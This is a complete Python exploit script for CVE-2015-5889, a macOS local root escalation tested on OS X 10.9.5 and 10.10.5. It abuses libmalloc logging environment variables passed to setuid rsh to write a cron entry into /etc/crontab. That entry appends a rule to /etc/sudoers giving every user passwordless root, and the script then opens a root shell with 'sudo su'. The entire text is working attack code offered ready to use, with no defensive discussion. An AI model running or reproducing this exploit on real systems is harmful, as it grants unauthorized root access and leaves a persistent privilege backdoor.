CVE-2015-5889: issetugid() + rsh + libmalloc OSX local root by rebel

CVE-2015-5889.py

# CVE-2015-5889: issetugid() + rsh + libmalloc osx local root
# tested on osx 10.9.5 / 10.10.5
# jul/2015
# by rebel

import os,time,sys

env = {}

s = os.stat("/etc/sudoers").st_size

env['MallocLogFile'] = '/etc/crontab'
env['MallocStackLogging'] = 'yes'
env['MallocStackLoggingDirectory'] = 'a\n* * * * * root echo "ALL ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers\n\n\n\n\n'

sys.stderr.write("creating /etc/crontab..")

p = os.fork()
if p == 0:  
  os.close(1)
  os.close(2)
  os.execve("/usr/bin/rsh",["rsh","localhost"],env)

time.sleep(1)

if "NOPASSWD" not in open("/etc/crontab").read():
  sys.stderr.write("failed\n")
  sys.exit(-1)

sys.stderr.write("done\nwaiting for /etc/sudoers to change (<60 seconds)..")

while os.stat("/etc/sudoers").st_size == s:
  sys.stderr.write(".")  
  time.sleep(1)

sys.stderr.write("\ndone\n")

os.system("sudo su")

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